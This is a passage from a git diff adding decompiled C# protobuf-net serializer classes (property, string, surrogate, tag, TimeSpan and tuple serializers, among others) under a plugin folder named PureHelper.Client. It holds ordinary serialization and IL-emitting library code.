new Local(ctx, ctx.MapType(typeof(int))); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("StartSubItem")); + ctx.StoreValue(local2); + CodeLabel label = ctx.DefineLabel(); + CodeLabel label2 = ctx.DefineLabel(); + CodeLabel label3 = ctx.DefineLabel(); + ctx.MarkLabel(label); + ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof(int))); + ctx.CopyValue(); + ctx.StoreValue(local3); + ctx.LoadValue(1); + ctx.BranchIfEqual(label2, @short: true); + ctx.LoadValue(local3); + ctx.LoadValue(1); + ctx.BranchIfLess(label3, @short: false); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("SkipField")); + ctx.Branch(label, @short: true); + ctx.MarkLabel(label2); + if (Tail.RequiresOldValue) + { + if (Helpers.IsValueType(expectedType)) + { + ctx.LoadAddress(local, expectedType); + ctx.EmitCall(expectedType.GetMethod("GetValueOrDefault", Helpers.EmptyTypes)); + } + else + { + ctx.LoadValue(local); + } + } + Tail.EmitRead(ctx, null); + if (Helpers.IsValueType(expectedType)) + { + ctx.EmitCtor(expectedType, Tail.ExpectedType); + } + ctx.StoreValue(local); + ctx.Branch(label, @short: false); + ctx.MarkLabel(label3); + ctx.LoadValue(local2); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("EndSubItem")); + ctx.LoadValue(local); + } + + protected override void EmitWrite(CompilerContext ctx, Local valueFrom) + { + using Local local = ctx.GetLocalWithValue(expectedType, valueFrom); + using Local local2 = new Local(ctx, ctx.MapType(typeof(SubItemToken))); + ctx.LoadNullRef(); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("StartSubItem")); + ctx.StoreValue(local2); + if (Helpers.IsValueType(expectedType)) + { + ctx.LoadAddress(local, expectedType); + ctx.LoadValue(expectedType.GetProperty("HasValue")); + } + else + { + ctx.LoadValue(local); + } + CodeLabel label = ctx.DefineLabel(); + ctx.BranchIfFalse(label, @short: false); + if (Helpers.IsValueType(expectedType)) + { + ctx.LoadAddress(local, expectedType); + ctx.EmitCall(expectedType.GetMethod("GetValueOrDefault", Helpers.EmptyTypes)); + } + else + { + ctx.LoadValue(local); + } + Tail.EmitWrite(ctx, null); + ctx.MarkLabel(label); + ctx.LoadValue(local2); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("EndSubItem")); + } + + public override object Read(object value, ProtoReader source) + { + SubItemToken token = ProtoReader.StartSubItem(source); + int num; + while ((num = source.ReadFieldHeader()) > 0) + { + if (num == 1) + { + value = Tail.Read(value, source); + } + else + { + source.SkipField(); + } + } + ProtoReader.EndSubItem(token, source); + return value; + } + + public override void Write(object value, ProtoWriter dest) + { + SubItemToken token = ProtoWriter.StartSubItem(null, dest); + if (value != null) + { + Tail.Write(value, dest); + } + ProtoWriter.EndSubItem(token, dest); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ParseableSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ParseableSerializer.cs new file mode 100644 index 0000000..968c0d8 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ParseableSerializer.cs @@ -0,0 +1,81 @@ +using System; +using System.Reflection; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class ParseableSerializer : IProtoSerializer +{ + private readonly MethodInfo parse; + + public Type ExpectedType => parse.DeclaringType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public static ParseableSerializer TryCreate(Type type, TypeModel model) + { + if ((object)type == null) + { + throw new ArgumentNullException("type"); + } + MethodInfo method = type.GetMethod("Parse", BindingFlags.DeclaredOnly | BindingFlags.Static | BindingFlags.Public, null, new Type[1] { model.MapType(typeof(string)) }, null); + if ((object)method != null && (object)method.ReturnType == type) + { + if (Helpers.IsValueType(type)) + { + MethodInfo customToString = GetCustomToString(type); + if ((object)customToString == null || (object)customToString.ReturnType != model.MapType(typeof(string))) + { + return null; + } + } + return new ParseableSerializer(method); + } + return null; + } + + private static MethodInfo GetCustomToString(Type type) + { + return type.GetMethod("ToString", BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Public, null, Helpers.EmptyTypes, null); + } + + private ParseableSerializer(MethodInfo parse) + { + this.parse = parse; + } + + public object Read(object value, ProtoReader source) + { + return parse.Invoke(null, new object[1] { source.ReadString() }); + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteString(value.ToString(), dest); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + Type expectedType = ExpectedType; + if (Helpers.IsValueType(expectedType)) + { + using Local local = ctx.GetLocalWithValue(expectedType, valueFrom); + ctx.LoadAddress(local, expectedType); + ctx.EmitCall(GetCustomToString(expectedType)); + } + else + { + ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("ToString")); + } + ctx.EmitBasicWrite("WriteString", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadString", ctx.MapType(typeof(string))); + ctx.EmitCall(parse); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/PropertyDecorator.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/PropertyDecorator.cs new file mode 100644 index 0000000..650ad13 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/PropertyDecorator.cs @@ -0,0 +1,161 @@ +using System; +using System.Reflection; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class PropertyDecorator : ProtoDecoratorBase +{ + private readonly PropertyInfo property; + + private readonly Type forType; + + private readonly bool readOptionsWriteValue; + + private readonly MethodInfo shadowSetter; + + public override Type ExpectedType => forType; + + public override bool RequiresOldValue => true; + + public override bool ReturnsValue => false; + + public PropertyDecorator(TypeModel model, Type forType, PropertyInfo property, IProtoSerializer tail) + : base(tail) + { + this.forType = forType; + this.property = property; + SanityCheck(model, property, tail, out readOptionsWriteValue, nonPublic: true, allowInternal: true); + shadowSetter = GetShadowSetter(model, property); + } + + private static void SanityCheck(TypeModel model, PropertyInfo property, IProtoSerializer tail, out bool writeValue, bool nonPublic, bool allowInternal) + { + if ((object)property == null) + { + throw new ArgumentNullException("property"); + } + writeValue = tail.ReturnsValue && ((object)GetShadowSetter(model, property) != null || (property.CanWrite && (object)Helpers.GetSetMethod(property, nonPublic, allowInternal) != null)); + if (!property.CanRead || (object)Helpers.GetGetMethod(property, nonPublic, allowInternal) == null) + { + throw new InvalidOperationException("Cannot serialize property without a get accessor"); + } + if (!writeValue && (!tail.RequiresOldValue || Helpers.IsValueType(tail.ExpectedType))) + { + throw new InvalidOperationException("Cannot apply changes to property " + property.DeclaringType.FullName + "." + property.Name); + } + } + + private static MethodInfo GetShadowSetter(TypeModel model, PropertyInfo property) + { + Type reflectedType = property.ReflectedType; + MethodInfo instanceMethod = Helpers.GetInstanceMethod(reflectedType, "Set" + property.Name, new Type[1] { property.PropertyType }); + if ((object)instanceMethod == null || !instanceMethod.IsPublic || (object)instanceMethod.ReturnType != model.MapType(typeof(void))) + { + return null; + } + return instanceMethod; + } + + public override void Write(object value, ProtoWriter dest) + { + value = property.GetValue(value, null); + if (value != null) + { + Tail.Write(value, dest); + } + } + + public override object Read(object value, ProtoReader source) + { + object value2 = (Tail.RequiresOldValue ? property.GetValue(value, null) : null); + object obj = Tail.Read(value2, source); + if (readOptionsWriteValue && obj != null) + { + if ((object)shadowSetter == null) + { + property.SetValue(value, obj, null); + } + else + { + shadowSetter.Invoke(value, new object[1] { obj }); + } + } + return null; + } + + protected override void EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.LoadAddress(valueFrom, ExpectedType); + ctx.LoadValue(property); + ctx.WriteNullCheckedTail(property.PropertyType, Tail, null); + } + + protected override void EmitRead(CompilerContext ctx, Local valueFrom) + { + SanityCheck(ctx.Model, property, Tail, out var writeValue, ctx.NonPublic, ctx.AllowInternal(property)); + if (Helpers.IsValueType(ExpectedType) && valueFrom == null) + { + throw new InvalidOperationException("Attempt to mutate struct on the head of the stack; changes would be lost"); + } + using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom); + if (Tail.RequiresOldValue) + { + ctx.LoadAddress(local, ExpectedType); + ctx.LoadValue(property); + } + Type propertyType = property.PropertyType; + ctx.ReadNullCheckedTail(propertyType, Tail, null); + if (writeValue) + { + using (Local local2 = new Local(ctx, property.PropertyType)) + { + ctx.StoreValue(local2); + CodeLabel label = default(CodeLabel); + if (!Helpers.IsValueType(propertyType)) + { + label = ctx.DefineLabel(); + ctx.LoadValue(local2); + ctx.BranchIfFalse(label, @short: true); + } + ctx.LoadAddress(local, ExpectedType); + ctx.LoadValue(local2); + if ((object)shadowSetter == null) + { + ctx.StoreValue(property); + } + else + { + ctx.EmitCall(shadowSetter); + } + if (!Helpers.IsValueType(propertyType)) + { + ctx.MarkLabel(label); + } + return; + } + } + if (Tail.ReturnsValue) + { + ctx.DiscardValue(); + } + } + + internal static bool CanWrite(TypeModel model, MemberInfo member) + { + if ((object)member == null) + { + throw new ArgumentNullException("member"); + } + if (member is PropertyInfo propertyInfo) + { + if (!propertyInfo.CanWrite) + { + return (object)GetShadowSetter(model, propertyInfo) != null; + } + return true; + } + return member is FieldInfo; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ProtoDecoratorBase.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ProtoDecoratorBase.cs new file mode 100644 index 0000000..58781b8 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ProtoDecoratorBase.cs @@ -0,0 +1,38 @@ +using System; +using ProtoBuf.Compiler; + +namespace ProtoBuf.Serializers; + +internal abstract class ProtoDecoratorBase : IProtoSerializer +{ + protected readonly IProtoSerializer Tail; + + public abstract Type ExpectedType { get; } + + public abstract bool ReturnsValue { get; } + + public abstract bool RequiresOldValue { get; } + + protected ProtoDecoratorBase(IProtoSerializer tail) + { + Tail = tail; + } + + public abstract void Write(object value, ProtoWriter dest); + + public abstract object Read(object value, ProtoReader source); + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + EmitWrite(ctx, valueFrom); + } + + protected abstract void EmitWrite(CompilerContext ctx, Local valueFrom); + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + EmitRead(ctx, valueFrom); + } + + protected abstract void EmitRead(CompilerContext ctx, Local valueFrom); +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SByteSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SByteSerializer.cs new file mode 100644 index 0000000..d2b2a74 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SByteSerializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class SByteSerializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(sbyte); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public SByteSerializer(TypeModel model) + { + } + + public object Read(object value, ProtoReader source) + { + return source.ReadSByte(); + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteSByte((sbyte)value, dest); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteSByte", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadSByte", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SingleSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SingleSerializer.cs new file mode 100644 index 0000000..6871cf3 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SingleSerializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class SingleSerializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(float); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public SingleSerializer(TypeModel model) + { + } + + public object Read(object value, ProtoReader source) + { + return source.ReadSingle(); + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteSingle((float)value, dest); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteSingle", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadSingle", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/StringSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/StringSerializer.cs new file mode 100644 index 0000000..253b446 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/StringSerializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class StringSerializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(string); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public StringSerializer(TypeModel model) + { + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteString((string)value, dest); + } + + public object Read(object value, ProtoReader source) + { + return source.ReadString(); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteString", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadString", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SubItemSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SubItemSerializer.cs new file mode 100644 index 0000000..94f2d2a --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SubItemSerializer.cs @@ -0,0 +1,160 @@ +using System; +using System.Reflection.Emit; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class SubItemSerializer : IProtoTypeSerializer, IProtoSerializer +{ + private readonly int key; + + private readonly Type type; + + private readonly ISerializerProxy proxy; + + private readonly bool recursionCheck; + + Type IProtoSerializer.ExpectedType => type; + + bool IProtoSerializer.RequiresOldValue => true; + + bool IProtoSerializer.ReturnsValue => true; + + bool IProtoTypeSerializer.HasCallbacks(TypeModel.CallbackType callbackType) + { + return ((IProtoTypeSerializer)proxy.Serializer).HasCallbacks(callbackType); + } + + bool IProtoTypeSerializer.CanCreateInstance() + { + return ((IProtoTypeSerializer)proxy.Serializer).CanCreateInstance(); + } + + void IProtoTypeSerializer.EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType) + { + ((IProtoTypeSerializer)proxy.Serializer).EmitCallback(ctx, valueFrom, callbackType); + } + + void IProtoTypeSerializer.EmitCreateInstance(CompilerContext ctx) + { + ((IProtoTypeSerializer)proxy.Serializer).EmitCreateInstance(ctx); + } + + void IProtoTypeSerializer.Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context) + { + ((IProtoTypeSerializer)proxy.Serializer).Callback(value, callbackType, context); + } + + object IProtoTypeSerializer.CreateInstance(ProtoReader source) + { + return ((IProtoTypeSerializer)proxy.Serializer).CreateInstance(source); + } + + public SubItemSerializer(Type type, int key, ISerializerProxy proxy, bool recursionCheck) + { + this.type = type ?? throw new ArgumentNullException("type"); + this.proxy = proxy ?? throw new ArgumentNullException("proxy"); + this.key = key; + this.recursionCheck = recursionCheck; + } + + void IProtoSerializer.Write(object value, ProtoWriter dest) + { + if (recursionCheck) + { + ProtoWriter.WriteObject(value, key, dest); + } + else + { + ProtoWriter.WriteRecursionSafeObject(value, key, dest); + } + } + + object IProtoSerializer.Read(object value, ProtoReader source) + { + return ProtoReader.ReadObject(value, key, source); + } + + private bool EmitDedicatedMethod(CompilerContext ctx, Local valueFrom, bool read) + { + MethodBuilder dedicatedMethod = ctx.GetDedicatedMethod(key, read); + if ((object)dedicatedMethod == null) + { + return false; + } + using (Local local = new Local(ctx, ctx.MapType(typeof(SubItemToken)))) + { + Type type = ctx.MapType(read ? typeof(ProtoReader) : typeof(ProtoWriter)); + ctx.LoadValue(valueFrom); + if (!read) + { + if (Helpers.IsValueType(this.type) || !recursionCheck) + { + ctx.LoadNullRef(); + } + else + { + ctx.CopyValue(); + } + } + ctx.LoadReaderWriter(); + ctx.EmitCall(Helpers.GetStaticMethod(type, "StartSubItem", (!read) ? new Type[2] + { + ctx.MapType(typeof(object)), + type + } : new Type[1] { type })); + ctx.StoreValue(local); + ctx.LoadReaderWriter(); + ctx.EmitCall(dedicatedMethod); + if (read && (object)this.type != dedicatedMethod.ReturnType) + { + ctx.Cast(this.type); + } + ctx.LoadValue(local); + ctx.LoadReaderWriter(); + ctx.EmitCall(Helpers.GetStaticMethod(type, "EndSubItem", new Type[2] + { + ctx.MapType(typeof(SubItemToken)), + type + })); + } + return true; + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + if (!EmitDedicatedMethod(ctx, valueFrom, read: false)) + { + ctx.LoadValue(valueFrom); + if (Helpers.IsValueType(type)) + { + ctx.CastToObject(type); + } + ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key)); + ctx.LoadReaderWriter(); + ctx.EmitCall(Helpers.GetStaticMethod(ctx.MapType(typeof(ProtoWriter)), recursionCheck ? "WriteObject" : "WriteRecursionSafeObject", new Type[3] + { + ctx.MapType(typeof(object)), + ctx.MapType(typeof(int)), + ctx.MapType(typeof(ProtoWriter)) + })); + } + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + if (!EmitDedicatedMethod(ctx, valueFrom, read: true)) + { + ctx.LoadValue(valueFrom); + if (Helpers.IsValueType(type)) + { + ctx.CastToObject(type); + } + ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key)); + ctx.LoadReaderWriter(); + ctx.EmitCall(Helpers.GetStaticMethod(ctx.MapType(typeof(ProtoReader)), "ReadObject")); + ctx.CastFromObject(type); + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SurrogateSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SurrogateSerializer.cs new file mode 100644 index 0000000..98a4c99 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SurrogateSerializer.cs @@ -0,0 +1,150 @@ +using System; +using System.Reflection; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class SurrogateSerializer : IProtoTypeSerializer, IProtoSerializer +{ + private readonly Type forType; + + private readonly Type declaredType; + + private readonly MethodInfo toTail; + + private readonly MethodInfo fromTail; + + private IProtoTypeSerializer rootTail; + + public bool ReturnsValue => false; + + public bool RequiresOldValue => true; + + public Type ExpectedType => forType; + + bool IProtoTypeSerializer.HasCallbacks(TypeModel.CallbackType callbackType) + { + return false; + } + + void IProtoTypeSerializer.EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType) + { + } + + void IProtoTypeSerializer.EmitCreateInstance(CompilerContext ctx) + { + throw new NotSupportedException(); + } + + bool IProtoTypeSerializer.CanCreateInstance() + { + return false; + } + + object IProtoTypeSerializer.CreateInstance(ProtoReader source) + { + throw new NotSupportedException(); + } + + void IProtoTypeSerializer.Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context) + { + } + + public SurrogateSerializer(TypeModel model, Type forType, Type declaredType, IProtoTypeSerializer rootTail) + { + this.forType = forType; + this.declaredType = declaredType; + this.rootTail = rootTail; + toTail = GetConversion(model, toTail: true); + fromTail = GetConversion(model, toTail: false); + } + + private static bool HasCast(TypeModel model, Type type, Type from, Type to, out MethodInfo op) + { + MethodInfo[] methods = type.GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); + Type type2 = null; + foreach (MethodInfo methodInfo in methods) + { + if ((object)methodInfo.ReturnType != to) + { + continue; + } + ParameterInfo[] parameters = methodInfo.GetParameters(); + if (parameters.Length != 1 || (object)parameters[0].ParameterType != from) + { + continue; + } + if ((object)type2 == null) + { + type2 = model.MapType(typeof(ProtoConverterAttribute), demand: false); + if ((object)type2 == null) + { + break; + } + } + if (methodInfo.IsDefined(type2, inherit: true)) + { + op = methodInfo; + return true; + } + } + foreach (MethodInfo methodInfo2 in methods) + { + if ((!(methodInfo2.Name != "op_Implicit") || !(methodInfo2.Name != "op_Explicit")) && (object)methodInfo2.ReturnType == to) + { + ParameterInfo[] parameters = methodInfo2.GetParameters(); + if (parameters.Length == 1 && (object)parameters[0].ParameterType == from) + { + op = methodInfo2; + return true; + } + } + } + op = null; + return false; + } + + public MethodInfo GetConversion(TypeModel model, bool toTail) + { + Type to = (toTail ? declaredType : forType); + Type type = (toTail ? forType : declaredType); + if (HasCast(model, declaredType, type, to, out var op) || HasCast(model, forType, type, to, out op)) + { + return op; + } + throw new InvalidOperationException("No suitable conversion operator found for surrogate: " + forType.FullName + " / " + declaredType.FullName); + } + + public void Write(object value, ProtoWriter writer) + { + rootTail.Write(toTail.Invoke(null, new object[1] { value }), writer); + } + + public object Read(object value, ProtoReader source) + { + object[] array = new object[1] { value }; + value = toTail.Invoke(null, array); + array[0] = rootTail.Read(value, source); + return fromTail.Invoke(null, array); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + using Local local = new Local(ctx, declaredType); + ctx.LoadValue(valueFrom); + ctx.EmitCall(toTail); + ctx.StoreValue(local); + rootTail.EmitRead(ctx, local); + ctx.LoadValue(local); + ctx.EmitCall(fromTail); + ctx.StoreValue(valueFrom); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.LoadValue(valueFrom); + ctx.EmitCall(toTail); + rootTail.EmitWrite(ctx, null); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SystemTypeSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SystemTypeSerializer.cs new file mode 100644 index 0000000..debb474 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/SystemTypeSerializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class SystemTypeSerializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(Type); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public SystemTypeSerializer(TypeModel model) + { + } + + void IProtoSerializer.Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteType((Type)value, dest); + } + + object IProtoSerializer.Read(object value, ProtoReader source) + { + return source.ReadType(); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteType", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadType", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/TagDecorator.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/TagDecorator.cs new file mode 100644 index 0000000..1a1c630 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/TagDecorator.cs @@ -0,0 +1,110 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class TagDecorator : ProtoDecoratorBase, IProtoTypeSerializer, IProtoSerializer +{ + private readonly bool strict; + + private readonly int fieldNumber; + + private readonly WireType wireType; + + public override Type ExpectedType => Tail.ExpectedType; + + public override bool RequiresOldValue => Tail.RequiresOldValue; + + public override bool ReturnsValue => Tail.ReturnsValue; + + private bool NeedsHint => (wireType & (WireType)(-8)) != 0; + + public bool HasCallbacks(TypeModel.CallbackType callbackType) + { + if (Tail is IProtoTypeSerializer protoTypeSerializer) + { + return protoTypeSerializer.HasCallbacks(callbackType); + } + return false; + } + + public bool CanCreateInstance() + { + if (Tail is IProtoTypeSerializer protoTypeSerializer) + { + return protoTypeSerializer.CanCreateInstance(); + } + return false; + } + + public object CreateInstance(ProtoReader source) + { + return ((IProtoTypeSerializer)Tail).CreateInstance(source); + } + + public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context) + { + if (Tail is IProtoTypeSerializer protoTypeSerializer) + { + protoTypeSerializer.Callback(value, callbackType, context); + } + } + + public void EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType) + { + ((IProtoTypeSerializer)Tail).EmitCallback(ctx, valueFrom, callbackType); + } + + public void EmitCreateInstance(CompilerContext ctx) + { + ((IProtoTypeSerializer)Tail).EmitCreateInstance(ctx); + } + + public TagDecorator(int fieldNumber, WireType wireType, bool strict, IProtoSerializer tail) + : base(tail) + { + this.fieldNumber = fieldNumber; + this.wireType = wireType; + this.strict = strict; + } + + public override object Read(object value, ProtoReader source) + { + if (strict) + { + source.Assert(wireType); + } + else if (NeedsHint) + { + source.Hint(wireType); + } + return Tail.Read(value, source); + } + + public override void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteFieldHeader(fieldNumber, wireType, dest); + Tail.Write(value, dest); + } + + protected override void EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.LoadValue(fieldNumber); + ctx.LoadValue((int)wireType); + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("WriteFieldHeader")); + Tail.EmitWrite(ctx, valueFrom); + } + + protected override void EmitRead(CompilerContext ctx, Local valueFrom) + { + if (strict || NeedsHint) + { + ctx.LoadReaderWriter(); + ctx.LoadValue((int)wireType); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod(strict ? "Assert" : "Hint")); + } + Tail.EmitRead(ctx, valueFrom); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/TimeSpanSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/TimeSpanSerializer.cs new file mode 100644 index 0000000..2c6dcd0 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/TimeSpanSerializer.cs @@ -0,0 +1,58 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class TimeSpanSerializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(TimeSpan); + + private readonly bool wellKnown; + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public TimeSpanSerializer(DataFormat dataFormat, TypeModel model) + { + wellKnown = dataFormat == DataFormat.WellKnown; + } + + public object Read(object value, ProtoReader source) + { + if (wellKnown) + { + return BclHelpers.ReadDuration(source); + } + return BclHelpers.ReadTimeSpan(source); + } + + public void Write(object value, ProtoWriter dest) + { + if (wellKnown) + { + BclHelpers.WriteDuration((TimeSpan)value, dest); + } + else + { + BclHelpers.WriteTimeSpan((TimeSpan)value, dest); + } + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), wellKnown ? "WriteDuration" : "WriteTimeSpan", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + if (wellKnown) + { + ctx.LoadValue(valueFrom); + } + ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), wellKnown ? "ReadDuration" : "ReadTimeSpan", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/TupleSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/TupleSerializer.cs new file mode 100644 index 0000000..86979fd --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/TupleSerializer.cs @@ -0,0 +1,338 @@ +using System; +using System.Reflection; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class TupleSerializer : IProtoTypeSerializer, IProtoSerializer +{ + private readonly MemberInfo[] members; + + private readonly ConstructorInfo ctor; + + private IProtoSerializer[] tails; + + public Type ExpectedType => ctor.DeclaringType; + + public bool RequiresOldValue => true; + + public bool ReturnsValue => false; + + public TupleSerializer(RuntimeTypeModel model, ConstructorInfo ctor, MemberInfo[] members) + { + this.ctor = ctor ?? throw new ArgumentNullException("ctor"); + this.members = members ?? throw new ArgumentNullException("members"); + tails = new IProtoSerializer[members.Length]; + ParameterInfo[] parameters = ctor.GetParameters(); + for (int i = 0; i < members.Length; i++) + { + Type 